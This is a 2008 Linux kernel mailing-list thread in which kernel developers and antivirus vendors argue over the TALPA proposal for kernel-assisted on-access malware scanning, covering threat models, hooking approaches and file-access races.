A: Because it messes up the order in which people normally read text.
Q: Why is top-posting such a bad thing?

On Tue, Aug 05, 2008 at 02:34:26PM -0400, Press, Jonathan wrote:
> You're right...I am not talking about blocking at all -- which may be
a
> further indication that I am missing the specific point of this
thread.
> 
> But be that as it may...  I don't want to have to use more than one
> interface to get all the events I am interested in.  I want to
register
> as a client and listen, and get everything I need from the same place.

That's an implementation issue, not a requirement.  If it's a
requirement, it sure is a lazy one :)


[JON PRESS]  I wouldn't call it lazy, actually.  It's more like
"economical" or "ergonomic" -- or, dare I say it -- "user-friendly."  In
this case, the users are the AV vendors who will have to write to the
API that will come out of this spec.  We will be more inclined to
appreciate the SDK (for want of a better term) if it covers all the
bases, rather than force us to go elsewhere for some of our
requirements.  When we write SDKs, we try to make sure that our users
will find whatever they need.



> Also, it seems to me that for my purposes, close is discrete enough.
It
> tells me that there is now something out there that should be looked
at.

So, if you hook glibc to catch all calls to close, is that sufficient?

[JON PRESS]  Let's see...I'm going to use inotify for some events, glibc
for others, and this API for the rest.  Would you really want to write
an application like that?

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Greg KH]

On Tue, Aug 05, 2008 at 04:15:32PM -0400, Press, Jonathan wrote:
> On Tue, Aug 05, 2008 at 02:34:26PM -0400, Press, Jonathan wrote:
> > You're right...I am not talking about blocking at all -- which may be
> a
> > further indication that I am missing the specific point of this
> thread.
> > 
> > But be that as it may...  I don't want to have to use more than one
> > interface to get all the events I am interested in.  I want to
> register
> > as a client and listen, and get everything I need from the same place.
> 
> That's an implementation issue, not a requirement.  If it's a
> requirement, it sure is a lazy one :)
> 
> 
> [JON PRESS]  I wouldn't call it lazy, actually.  It's more like
> "economical" or "ergonomic" -- or, dare I say it -- "user-friendly."  In
> this case, the users are the AV vendors who will have to write to the
> API that will come out of this spec.  We will be more inclined to
> appreciate the SDK (for want of a better term) if it covers all the
> bases, rather than force us to go elsewhere for some of our
> requirements.  When we write SDKs, we try to make sure that our users
> will find whatever they need.

But realize that you are adding an overhead on us, the kernel community,
to make your life easier.  We are the ones that are taking our time to
review and comment on this code.  We are the ones who will have to live
with this code for forever, and maintain it over the lifetime of linux.
So far, you all have shown no willingness to give anything back to us at
all.

In fact, I'd go so far as to say you have been openly hostile, violating
our copyright and license by shipping closed source kernel modules,
making our users have huge problems when we can not support them if they
happen to have the misfortune of using your product, and creating code
that pokes directly into the kernel in ways we explicily do not want to
have happen (syscall hooking, walking symbol tables, etc.)

So please remember, that you should be the ones going out of your way to
be nice to us, as you are coming from a huge deficit here that you all
need to make up from.

> > Also, it seems to me that for my purposes, close is discrete enough.
> It
> > tells me that there is now something out there that should be looked
> at.
> 
> So, if you hook glibc to catch all calls to close, is that sufficient?
> 
> [JON PRESS]  Let's see...I'm going to use inotify for some events, glibc
> for others, and this API for the rest.  Would you really want to write
> an application like that?

Think of it as a way to justify your huge prices :)

thanks,

greg k-h

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[tvrtko.ursulin]

Greg KH wrote on 05/08/2008 21:26:21:

> > [JON PRESS]  I wouldn't call it lazy, actually.  It's more like
> > "economical" or "ergonomic" -- or, dare I say it -- "user-friendly." 
In
> > this case, the users are the AV vendors who will have to write to the
> > API that will come out of this spec.  We will be more inclined to
> > appreciate the SDK (for want of a better term) if it covers all the
> > bases, rather than force us to go elsewhere for some of our
> > requirements.  When we write SDKs, we try to make sure that our users
> > will find whatever they need.
> 
> But realize that you are adding an overhead on us, the kernel community,
> to make your life easier.  We are the ones that are taking our time to
> review and comment on this code.  We are the ones who will have to live
> with this code for forever, and maintain it over the lifetime of linux.
> So far, you all have shown no willingness to give anything back to us at
> all.

We all? How is that true? I for example wrote some code and am willing to 
help maintain it if it gets accepted. And as you describe it, it would be 
true for any submission because not all things are usefull for all people, 
while everything is baggage for the community. And who is the community? I 
thought all who take place in discussions, bug reporting, submitting code, 
fixing bugs etc are the community.

Tvrtko


Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Adrian Bunk]

On Wed, Aug 06, 2008 at 11:05:43AM +0100, tvrtko.ursulin@sophos.com wrote:
> Greg KH wrote on 05/08/2008 21:26:21:
> 
> > > [JON PRESS]  I wouldn't call it lazy, actually.  It's more like
> > > "economical" or "ergonomic" -- or, dare I say it -- "user-friendly." 
> In
> > > this case, the users are the AV vendors who will have to write to the
> > > API that will come out of this spec.  We will be more inclined to
> > > appreciate the SDK (for want of a better term) if it covers all the
> > > bases, rather than force us to go elsewhere for some of our
> > > requirements.  When we write SDKs, we try to make sure that our users
> > > will find whatever they need.
> > 
> > But realize that you are adding an overhead on us, the kernel community,
> > to make your life easier.  We are the ones that are taking our time to
> > review and comment on this code.  We are the ones who will have to live
> > with this code for forever, and maintain it over the lifetime of linux.
> > So far, you all have shown no willingness to give anything back to us at
> > all.
> 
> We all? How is that true? I for example wrote some code and am willing to 
> help maintain it if it gets accepted. And as you describe it, it would be 
> true for any submission because not all things are usefull for all people, 
> while everything is baggage for the community. And who is the community? I 
> thought all who take place in discussions, bug reporting, submitting code, 
> fixing bugs etc are the community.

As an observer of this thread:

- Some set of requirements suddenly appears out of the void on 
  linux-kernel.
- Noone is able and/or willing to exactly describe the problem(s) they 
  are trying to solve.

With this status quo the discussion is going nowhere - Linux kernel 
development does not work this way.

The aim is not to include this code, but to find the best technical 
solution for your problem(s) - no matter whether this will have anything
in common with the list of requirements and the code posted or not.

> Tvrtko

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[tvrtko.ursulin]

Adrian Bunk <bunk@kernel.org> wrote on 06/08/2008 11:50:08:

> On Wed, Aug 06, 2008 at 11:05:43AM +0100, tvrtko.ursulin@sophos.com 
wrote:
> > Greg KH wrote on 05/08/2008 21:26:21:
> > 
> > > > [JON PRESS]  I wouldn't call it lazy, actually.  It's more like
> > > > "economical" or "ergonomic" -- or, dare I say it -- 
"user-friendly." 
> > In
> > > > this case, the users are the AV vendors who will have to write to 
the
> > > > API that will come out of this spec.  We will be more inclined to
> > > > appreciate the SDK (for want of a better term) if it covers all 
the
> > > > bases, rather than force us to go elsewhere for some of our
> > > > requirements.  When we write SDKs, we try to make sure that our 
users
> > > > will find whatever they need.
> > > 
> > > But realize that you are adding an overhead on us, the kernel 
community,
> > > to make your life easier.  We are the ones that are taking our time 
to
> > > review and comment on this code.  We are the ones who will have to 
live
> > > with this code for forever, and maintain it over the lifetime of 
linux.
> > > So far, you all have shown no willingness to give anything back to 
us at
> > > all.
> > 
> > We all? How is that true? I for example wrote some code and am willing 
to 
> > help maintain it if it gets accepted. And as you describe it, it would 
be 
> > true for any submission because not all things are usefull for all 
people, 
> > while everything is baggage for the community. And who is the 
community? I 
> > thought all who take place in discussions, bug reporting, submitting 
code, 
> > fixing bugs etc are the community.
> 
> As an observer of this thread:
> 
> - Some set of requirements suddenly appears out of the void on 
>   linux-kernel.

Because previously it was said to go away and come back with a clear list 
of requirements. And here you make it sound like a negative thing. See 
what I am talking about?

> - Noone is able and/or willing to exactly describe the problem(s) they 
>   are trying to solve.

Hopefully we will get there. Very little time has passed since the 
discussion has started, even less considering the time zone difference for 
some.
 
> With this status quo the discussion is going nowhere - Linux kernel 
> development does not work this way.
> 
> The aim is not to include this code, but to find the best technical 
> solution for your problem(s) - no matter whether this will have anything
> in common with the list of requirements and the code posted or not.

I completely agree with that. Here I was just pointing out that what Greg 
wrote was untrue and exaggerated so not helping the discussion at all.

Tvrtko


Sophos Plc, The Pentagon, Abingdon Science Park, Abingdon,
OX14 3YP, United Kingdom.

Company Reg No 2096520. VAT Reg No GB 348 3873 20.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Adrian Bunk]

On Wed, Aug 06, 2008 at 12:07:57PM +0100, tvrtko.ursulin@sophos.com wrote:
> Adrian Bunk <bunk@kernel.org> wrote on 06/08/2008 11:50:08:
> > 
> > As an observer of this thread:
> > 
> > - Some set of requirements suddenly appears out of the void on 
> >   linux-kernel.
> 
> Because previously it was said to go away and come back with a clear list 
> of requirements. And here you make it sound like a negative thing. See 
> what I am talking about?

Both of my points belong together.

> > - Noone is able and/or willing to exactly describe the problem(s) they 
> >   are trying to solve.
> 
> Hopefully we will get there. Very little time has passed since the 
> discussion has started, even less considering the time zone difference for 
> some.
> 
> > With this status quo the discussion is going nowhere - Linux kernel 
> > development does not work this way.
> > 
> > The aim is not to include this code, but to find the best technical 
> > solution for your problem(s) - no matter whether this will have anything
> > in common with the list of requirements and the code posted or not.
> 
> I completely agree with that. Here I was just pointing out that what Greg 
> wrote was untrue and exaggerated so not helping the discussion at all.

Until now the main discussion participant from the AV side is
Jonathan Press.

But the real discussion hasn't even started since the information 
required is not available.

And as soon as the information for the real discussion is available all 
these initial discussions become irrelevant.

> Tvrtko

cu
Adrian

-- 

       "Is there not promise of rain?" Ling Tan asked suddenly out
        of the darkness. There had been need of rain for many days.
       "Only a promise," Lao Er said.
                                       Pearl S. Buck - Dragon Seed

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Mihai Donțu]

On Wednesday 06 August 2008, Adrian Bunk wrote:
> On Wed, Aug 06, 2008 at 12:07:57PM +0100, tvrtko.ursulin@sophos.com wrote:
> > Adrian Bunk <bunk@kernel.org> wrote on 06/08/2008 11:50:08:
> > > As an observer of this thread:
> > >
> > > - Some set of requirements suddenly appears out of the void on
> > >   linux-kernel.
> >
> > Because previously it was said to go away and come back with a clear list
> > of requirements. And here you make it sound like a negative thing. See
> > what I am talking about?
>
> Both of my points belong together.
>
> > > - Noone is able and/or willing to exactly describe the problem(s) they
> > >   are trying to solve.
> >
> > Hopefully we will get there. Very little time has passed since the
> > discussion has started, even less considering the time zone difference
> > for some.
> >
> > > With this status quo the discussion is going nowhere - Linux kernel
> > > development does not work this way.
> > >
> > > The aim is not to include this code, but to find the best technical
> > > solution for your problem(s) - no matter whether this will have
> > > anything in common with the list of requirements and the code posted or
> > > not.
> >
> > I completely agree with that. Here I was just pointing out that what Greg
> > wrote was untrue and exaggerated so not helping the discussion at all.
>
> Until now the main discussion participant from the AV side is
> Jonathan Press.

Well, if you insist, but I must state that this mail represents my own opinion 
and not my employer's (that's because all the people I could consult with are 
sleeping :) ).

> But the real discussion hasn't even started since the information
> required is not available.
>
> And as soon as the information for the real discussion is available all
> these initial discussions become irrelevant.

> - Noone is able and/or willing to exactly describe the problem(s) they
>   are trying to solve.

Well, here is one attempt.

A good percentage of an AV product's job is to prevent exploitation of a 
security hole in a product before the vendor (assuming the vendor admits it's 
bug and not a misuse of the product's features).

Most distribution makers go through a lot of work before releasing an update, 
which might take days. Add to this the fact that some users refuse to update 
periodically (because one operating system out there shattered the belief in 
this practice) and that some of them are willing to pay to not care. This is 
reason enough for most AV vendors.

In the present, on the Linux Desktop, this is [still] hypothetical talk and 
God help it will remain so. However, if there is one incredibly small chance 
that one (new?) type of malware can spread to a large number of users, then 
AV vendors will race for creating a solution because there will _definitely_ 
be people needing help with this (please notice that the IQ scale starts from 
zero and not from 130 :) ).

I think this patch is trying to do what dazuko hasn't managed to do (yet): get 
into mainline. :)

-- 
Mihai Donțu

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Arjan van de Ven]

On Thu, 7 Aug 2008 03:49:55 +0300
Mihai Donțu <mdontu@bitdefender.com> wrote:

> Well, here is one attempt.
> 
> A good percentage of an AV product's job is to prevent exploitation
> of a security hole in a product before the vendor (assuming the
> vendor admits it's bug and not a misuse of the product's features).

just to get things clear;
you're not talking about preventing the actual exploitation per se
(that would be the job of the various protection technologies) or the
containment (that would be SELinux), but more about detecting the
presence and preventing to (accidental) use of pre-canned, widely used
exploit binaries/files ?

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Mihai Donțu]

On Thursday 07 August 2008, Arjan van de Ven wrote:
> On Thu, 7 Aug 2008 03:49:55 +0300
>
> Mihai Donțu <mdontu@bitdefender.com> wrote:
> > Well, here is one attempt.
> >
> > A good percentage of an AV product's job is to prevent exploitation
> > of a security hole in a product before the vendor (assuming the
> > vendor admits it's bug and not a misuse of the product's features).
>
> just to get things clear;
> you're not talking about preventing the actual exploitation per se
> (that would be the job of the various protection technologies) or the
> containment (that would be SELinux), but more about detecting the
> presence and preventing to (accidental) use of pre-canned, widely used
> exploit binaries/files ?

I apologize for the late reply. The answer to your question is: yes. I was 
planning to write some more on this subject but this is unnecessary now, 
because I see [almost] everyone accepted that some kind of antimalware 
scanning is needed and are looking for alternative (better) solutions to the 
patch that started all this.

Can't wait to see the end result. :)

Thanks,

-- 
Mihai Donțu

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Arjan van de Ven]

On Mon, 11 Aug 2008 16:45:47 +0300
Mihai Donțu <mdontu@bitdefender.com> wrote:

> On Thursday 07 August 2008, Arjan van de Ven wrote:
> > On Thu, 7 Aug 2008 03:49:55 +0300
> >
> > Mihai Donțu <mdontu@bitdefender.com> wrote:
> > > Well, here is one attempt.
> > >
> > > A good percentage of an AV product's job is to prevent
> > > exploitation of a security hole in a product before the vendor
> > > (assuming the vendor admits it's bug and not a misuse of the
> > > product's features).
> >
> > just to get things clear;
> > you're not talking about preventing the actual exploitation per se
> > (that would be the job of the various protection technologies) or
> > the containment (that would be SELinux), but more about detecting
> > the presence and preventing to (accidental) use of pre-canned,
> > widely used exploit binaries/files ?
> 
> I apologize for the late reply. The answer to your question is: yes.
> I was planning to write some more on this subject but this is
> unnecessary now, because I see [almost] everyone accepted that some
> kind of antimalware scanning is needed and are looking for
> alternative (better) solutions to the patch that started all this.

we do still appreciate your description, since I don't think there's a
clear "here's what we really try to protect against" statement yet.

Answering Ted's questions would be a really good start...


-- 
If you want to reach me at my work email, use arjan@linux.intel.com
For development, discussion and tips for power savings, 
visit http://www.lesswatts.org

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[David Collier-Brown]

Arjan van de Ven wrote:
>>>just to get things clear; yyou're [ talking about ...] detecting
>>>the presence and preventing to (accidental) use of pre-canned,
>>>widely used exploit binaries/files ?

Mihai Donțu <mdontu@bitdefender.com> wrote:
>>I apologize for the late reply. The answer to your question is: yes.
>>I was planning to write some more on this subject 

Arjan van de Ven wrote:
> we do still appreciate your description, since I don't think there's a
> clear "here's what we really try to protect against" statement yet.

  Perhaps I could try: the AV folks are trying to prevent the
execution of either modified normal binaries/files or 
specifically exploit binaries/files, by machines for which the 
files are executable or interpretable.

  The experience of those communities is predominantly
with DOS/Windows executables and interpretable files, which
they have difficulty generalizing from.

  In principle, they could be targeted at any machine, so any
mechanisms should be applicable to native executables and
interpretables as well as foreign ones.

--dave (who (in)famously wrote a UUCP virus, which warned sysadmins 
        if they had bad enough security settings to have run it as root) c-b
-- 
David Collier-Brown            | Always do right. This will gratify
Sun Microsystems, Toronto      | some people and astonish the rest
davecb@sun.com                 |                      -- Mark Twain
cell: (647) 833-9377, bridge: (877) 385-4099 code: 506 9191#

RE: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Press, Jonathan]

[-- Warning: decoded text below may be mangled, UTF-8 assumed --]
[-- Attachment #1: Type: text/plain; charset="UTF-8", Size: 3465 bytes --]

> -----Original Message-----
> From: David.Collier-Brown@sun.com [mailto:David.Collier-Brown@sun.com] On
> Behalf Of David Collier-Brown
> Sent: Monday, August 11, 2008 12:11 PM
> To: Arjan van de Ven
> Cc: Mihai Donțu; Adrian Bunk; tvrtko.ursulin@sophos.com; Greg KH; Press,
> Jonathan; linux-kernel@vger.kernel.org; linux-security-module@vger.kernel.org;
> malware-list@lists.printk.net
> Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access
> scanning
> 
>   Perhaps I could try: the AV folks are trying to prevent the
> execution of either modified normal binaries/files or
> specifically exploit binaries/files, by machines for which the
> files are executable or interpretable.
> 
>   The experience of those communities is predominantly
> with DOS/Windows executables and interpretable files, which
> they have difficulty generalizing from.
> 
>   In principle, they could be targeted at any machine, so any
> mechanisms should be applicable to native executables and
> interpretables as well as foreign ones.


You know, that's actually a very good statement of the model.

I think everyone understands one side of the threat model, that is Linux machines being carriers of infections aimed at other platforms.  There are many ways that such infections can be stored, and many ways in which they can be communicated to the target machines.  There are so many that it would not be effective or efficient for each such transfer application to be able to handle its own malware scanning, which is the short statement of why centralized AV protection with notification assistance from the kernel is appropriate.

So, putting that aside, David's statement is a reasonable summary of the nature of the other side of the model, the native attacks we are trying to protect against.  That is, on any platform, not just Linux, we don't always know ahead of time what kind of attack can be launched and how it would be done.  Experience has shown that no one knows enough about every piece of software on every machine to be able to know ahead of time what vulnerabilities there are that can be exploited.  Therefore, we adopt a methodology that allows us to be fairly general.  The signature matching approach allows us to find the signatures of either specific exploit binaries or corrupted normal binaries that our collection and research activities have identified as malware.

It is true that most of our experience is with DOS and Windows, and that the types of attacks that can be launched there are not easy to generalize to other platforms.  However, that does not mean that non-Windows platforms like Linux are therefore immune, or that we are tilting at windmills to say that we address non-Windows infections.  There are many specific forms of malware on non-Windows platforms that we identify in the same way that we identify them on Windows.

In a sense the reason I have found the question about "threat model" to be so difficult to answer is that the basic unpredictability of the attack makes the answer in essence:  "Anything".  That is, it essentially doesn't matter what the threat is or how malware is implemented, except that we know that it exists, both in theory and in practice, and we have an effective way of detecting and removing it.


Jon Press

ÿôèº{.nÇ+‰·Ÿ®‰­†+%ŠËÿ±éݶ\x17¥Šwÿº{.nÇ+‰·¥Š{±þG«éÿŠ{ayº\x1dʇڙë,j\a­¢f£¢·hšïêÿ‘êçz_è®\x03(­éšŽŠÝ¢j"ú\x1a¶^[m§ÿÿ¾\a«þG«éÿ¢¸?™¨è­Ú&£ø§~á¶iO•æ¬z·švØ^\x14\x04\x1a¶^[m§ÿÿÃ\fÿ¶ìÿ¢¸?–I¥

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[David Wagner]

Press, Jonathan wrote:
>I think everyone understands one side of the threat model, that is Linux
>machines being carriers of infections aimed at other platforms.  There
>are many ways that such infections can be stored, and many ways in which
>they can be communicated to the target machines.  There are so many that
>it would not be effective or efficient for each such transfer
>application to be able to handle its own malware scanning, which is the
>short statement of why centralized AV protection with notification
>assistance from the kernel is appropriate.

I'm not sure I follow.  Could you name a few channels that you think
are likely to represent a serious problem in practice (not just a
theoretical possibility)?  There are a few obvious ones: files shared
over a SMB filesystem; attachments sent via email.  What else?  Can
you give some other examples?

If it's true that there are an unbounded number of channels by which
malware could reach a target Windows machine, all of equal importance,
then it sounds to me like the end-to-end argument would suggest that the
virus scanner needs to be on the target machine.  (Otherwise there will
inevitably be some channel you missed.)  But I'm not convinced that this
is true.

One standard counter-argument to the end-to-end argument is that,
in some cases, we can identify a single chokepoint: a single central
machine or network where you can do virus scanning for a large collection
of machines, at much lower administrative cost.  If this addresses one
propagation channel that accounts for the overwhelming majority of
viral spread in practice, this can potentially be useful.  Is that the
idea you had in mind?

Are we talking about enterprise networks?  Are we talking about consumers?

I assume we're talking about a case where there is a Linux machine L
and a Windows machine W, and W is the target and there is a channel by
which malware can propagate from L to W, and L and W are under the same
administrative control (e.g., two machines owned by the same company).
Moreover, I'm assuming that L is secure and has not been compromised
(otherwise you've got a horse of a different color).  Have I understood
you correctly so far?

>It is true that most of our experience is with DOS and Windows, and that
>the types of attacks that can be launched there are not easy to
>generalize to other platforms.  However, that does not mean that
>non-Windows platforms like Linux are therefore immune, or that we are
>tilting at windmills to say that we address non-Windows infections. 
>There are many specific forms of malware on non-Windows platforms that
>we identify in the same way that we identify them on Windows.

The point is that you need to think about what classes of attacks you
want to defend against, and be able to precisely characterize which
attacks are and aren't in scope.  So far, I haven't seen any evidence
of that; I've just seen fuzzy slogans and hand-wavy "philosophies".

You can't stop them all, so pick your battles.

>In a sense the reason I have found the question about "threat model" to
>be so difficult to answer is that the basic unpredictability of the
>attack makes the answer in essence:  "Anything".  That is, it
>essentially doesn't matter what the threat is or how malware is
>implemented, except that we know that it exists, both in theory and in
>practice, and we have an effective way of detecting and removing it.

If your answer to the question of which security threats you want
to address is "All of them", then you've tackled a hopeless problem.
If that's your answer, give up now.  There is no silver bullet for
computer security.  You need to narrow your scope if you want to
have any hope of building something useful.

I dispute the claim that we have an effective way of detecting malware.
We have a way of detecting some malware.

I'm being blunt because I think sometimes it helps to hear it
told straight, without any sweetening.  Please forgive any impoliteness
this may cause.

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Alan Cox]

> theoretical possibility)?  There are a few obvious ones: files shared
> over a SMB filesystem; attachments sent via email.  What else?  Can
> you give some other examples?

This is the nightclub model and doesn't work viz:

"If I put a big scary man on the door nobody will be able to get knives
and drugs in because we only have one door for the public"

If you have to enumerate the potential attack vectors to make your model
work you already lost. There is one of you and a lot of them. Smart
nightclubs don't do that they circulate looking for evidence. Yes, they
will miss some, yes they will respond late to some, but they will at
least notice there has been a problem.

Now computer security is a bit different because it has some night of the
living dead type properties where the zombies don't just sneak in through
the toilet window but they go around turning security guards into zombies
too but the basic premise is very much the same.

> Are we talking about enterprise networks?  Are we talking about consumers?

What theat model and set of security properties does this change ?
The reasons for poor security may change from 'who cares if we get a
virus, I get an afternoon drinking coffee' to 'not computer skilled' but
the basic problem is very similar.

What are the invariants and what are the probability based things we are
trying to achieve ? What level of interference with existing behaviour is
acceptable ?

The last is important as we SELinux you can achieve much of what is
needed but only at a cost of interfering in normal practice now and then
- eg downloading a shell script versus accidentally downloading a worm is
rather hard for a PC to tell apart so implementing 'written by web
browser, can't be executed' is easy but has side effects

Alan

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Pavel Machek]

Hi!

> >   Perhaps I could try: the AV folks are trying to prevent the
> > execution of either modified normal binaries/files or
> > specifically exploit binaries/files, by machines for which the
> > files are executable or interpretable.
> > 
> >   The experience of those communities is predominantly
> > with DOS/Windows executables and interpretable files, which
> > they have difficulty generalizing from.
> > 
> >   In principle, they could be targeted at any machine, so any
> > mechanisms should be applicable to native executables and
> > interpretables as well as foreign ones.
> 
> 
> You know, that's actually a very good statement of the model.
> 
> I think everyone understands one side of the threat model, that is Linux machines being carriers of infections aimed at other platforms.  There are many ways that such infections can be stored, and many ways in which they can be communicated to the target machines.  There are so many that it would not be effective or efficient for each such transfer application to be able to handle its own malware scanning, which is the short statement of why centralized AV protection with notification assistance from the kernel is appropriate.
> 

No.

Proposed kernel solution did not work -- there still was write
vs. read race. You are right that it is not ok for each application to
do its own malware scanning, but libmalware.so that handles the
scanning seems very reasonable.

And as applications _need_ to be modified for the write vs. read race
to be solved, libmalware.so looks like a way forward.
									Pavel
-- 
(english) http://www.livejournal.com/~pavelmachek
(cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html

RE: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Press, Jonathan]

> -----Original Message-----
> From: Pavel Machek [mailto:pavel@suse.cz]
> Sent: Wednesday, August 13, 2008 6:28 AM
> To: Press, Jonathan
> Cc: davecb@sun.com; Arjan van de Ven; Mihai Don??u; Adrian Bunk;
> tvrtko.ursulin@sophos.com; Greg KH; linux-kernel@vger.kernel.org;
linux-security-
> module@vger.kernel.org; malware-list@lists.printk.net
> Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to a
linuxinterfaceforon access
> scanning
> 
> > I think everyone understands one side of the threat model, that is
Linux machines
> being carriers of infections aimed at other platforms.  There are many
ways that
> such infections can be stored, and many ways in which they can be
communicated
> to the target machines.  There are so many that it would not be
effective or efficient
> for each such transfer application to be able to handle its own
malware scanning,
> which is the short statement of why centralized AV protection with
notification
> assistance from the kernel is appropriate.
> >
> 
> No.
> 
> Proposed kernel solution did not work -- there still was write
> vs. read race. You are right that it is not ok for each application to
> do its own malware scanning, but libmalware.so that handles the
> scanning seems very reasonable.
> 
> And as applications _need_ to be modified for the write vs. read race
> to be solved, libmalware.so looks like a way forward.
>
Pavel

I am not sure what you are suggesting, and I may have missed the
libmalware proposal (I don't see any mention of that specific idea in
any other message).  However, just to be clear...  At no point did we
suggest that the kernel would do any scanning.  What we have been
interested in is a mechanism that can allow a scanning application to be
notified by the kernel of specific i/o events, for those events to be
blocked by the kernel until a user-space scan is done, and then the
user-space scan sends back allow or deny, at which point the i/o event
returns to the caller -- either success or error.  This is the only way
that malware can be guaranteed of being detected when it is used (for
local application purposes or for transmission to another platform) or
created.  

Also, a solution that requires applications to be modified will not
work, because there is no way that we would be able to get ALL
applications on the machines to be modified in the required ways.  If
ANY applications are not so modified, then you have an unacceptable
malware hole.  The only solution that really works is one that
guarantees that all applications are involved, which is why the kernel
has to be involved in some way.  It's the only centralized authority
that can stick its nose into all of the required activities.

Whether the specific proposal currently on the table handles all the
issues or not is to me a separate point.


Jon Press

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Peter Dolding]

On Wed, Aug 13, 2008 at 8:46 PM, Press, Jonathan <Jonathan.Press@ca.com> wrote:
>> -----Original Message-----
>> From: Pavel Machek [mailto:pavel@suse.cz]
>> Sent: Wednesday, August 13, 2008 6:28 AM
>> To: Press, Jonathan
>> Cc: davecb@sun.com; Arjan van de Ven; Mihai Don??u; Adrian Bunk;
>> tvrtko.ursulin@sophos.com; Greg KH; linux-kernel@vger.kernel.org;
> linux-security-
>> module@vger.kernel.org; malware-list@lists.printk.net
>> Subject: Re: [malware-list] [RFC 0/5] [TALPA] Intro to a
> linuxinterfaceforon access
>> scanning
>>
>> > I think everyone understands one side of the threat model, that is
> Linux machines
>> being carriers of infections aimed at other platforms.  There are many
> ways that
>> such infections can be stored, and many ways in which they can be
> communicated
>> to the target machines.  There are so many that it would not be
> effective or efficient
>> for each such transfer application to be able to handle its own
> malware scanning,
>> which is the short statement of why centralized AV protection with
> notification
>> assistance from the kernel is appropriate.
>> >
>>
>> No.
>>
>> Proposed kernel solution did not work -- there still was write
>> vs. read race. You are right that it is not ok for each application to
>> do its own malware scanning, but libmalware.so that handles the
>> scanning seems very reasonable.
>>
>> And as applications _need_ to be modified for the write vs. read race
>> to be solved, libmalware.so looks like a way forward.
>>
> Pavel
>
> I am not sure what you are suggesting, and I may have missed the
> libmalware proposal (I don't see any mention of that specific idea in
> any other message).  However, just to be clear...  At no point did we
> suggest that the kernel would do any scanning.  What we have been
> interested in is a mechanism that can allow a scanning application to be
> notified by the kernel of specific i/o events, for those events to be
> blocked by the kernel until a user-space scan is done, and then the
> user-space scan sends back allow or deny, at which point the i/o event
> returns to the caller -- either success or error.  This is the only way
> that malware can be guaranteed of being detected when it is used (for
> local application purposes or for transmission to another platform) or
> created.
>
> Also, a solution that requires applications to be modified will not
> work, because there is no way that we would be able to get ALL
> applications on the machines to be modified in the required ways.  If
> ANY applications are not so modified, then you have an unacceptable
> malware hole.  The only solution that really works is one that
> guarantees that all applications are involved, which is why the kernel
> has to be involved in some way.  It's the only centralized authority
> that can stick its nose into all of the required activities.
>
> Whether the specific proposal currently on the table handles all the
> issues or not is to me a separate point.

Being in the correct place is key.   Wrong place more issues more holes.

Lets get this right this time please.  Windows is a mess.   You cannot
run many av products side by side.    Due to failures of signatures at
times to pickup every threat out there we have to move forward with a
system that works.  Supporting many scanners at once if needed.

LIM guys are going after the same kind of defect detection.

Lot of designs have been created over all the years but they have all
failed to address the basics.

Scanning without file caching leaves a hole and costs cpu time.  So
integration into the file system cache system is kinda key.

Designing hooks forcing users to use only 1 product.   Yes good for
market lock in but kicks lots people in teeth.

Getting patch mainline is basically going to hit walls if you don't
sit down and say lets fix the kernel secuirty correctly.   This is not
windows you have the power to alter the complete kernel if you can
provide valid justification for the change.

Valid justification is that someone like me looks at it and cannot
find a flaw in design and it provides needed functionality.  Issue you
keep on addressing only 1 this is the reason why the patches have
stayed out side mainline when other patches have got in.   In theory
the complete core of the Linux kernel could be replaced if Valid
justification could be made.

This is where Linux is different to Windows.   You are free to
redesign linux to be the hardest OS on earth for a virus to operate.
Where windows you have to work with provided model.   Lots here need
to drop the idea that anything in the Linux kernel is set in stone.
Only thing set in stone flawed designed get shot down.

Lets start with what would the features you would wish for as
Anti-virus designers if you could design a OS from scratch around your
Anti-virus so it was almost flawless.   From that list we have what we
need to work on to give you exactly what you want in time.   Even
better post that on a long term website as a wishlist for all OS's.
Basically give us direction.

Peter Dolding

Re: [malware-list] [RFC 0/5] [TALPA] Intro to a linuxinterfaceforon access scanning

[Pavel Machek]

Hi!


> > Proposed kernel solution did not work -- there still was write
> > vs. read race. You are right that it is not ok for each application to
> > do its own malware scanning, but libmalware.so that handles the
> > scanning seems very reasonable.
> > 
> > And as applications _need_ to be modified for the write vs. read race
> > to be solved, libmalware.so looks like a way forward.
> 
> I am not sure what you are suggesting, and I may have missed the
> libmalware proposal (I don't see any mention of that specific idea in
> any other message).  However, just to be clear...  At no point did we
> suggest that the kernel would do any scanning.  What we have been
> interested in is a mechanism that can allow a scanning application to be
> notified by the kernel of specific i/o events, for those events to be
> blocked by the kernel until a user-space scan is done, and then the
> user-space scan sends back allow or deny, at which point the i/o event
> returns to the caller -- either success or error.  This is the only way
> that malware can be guaranteed of being detected when it is used (for
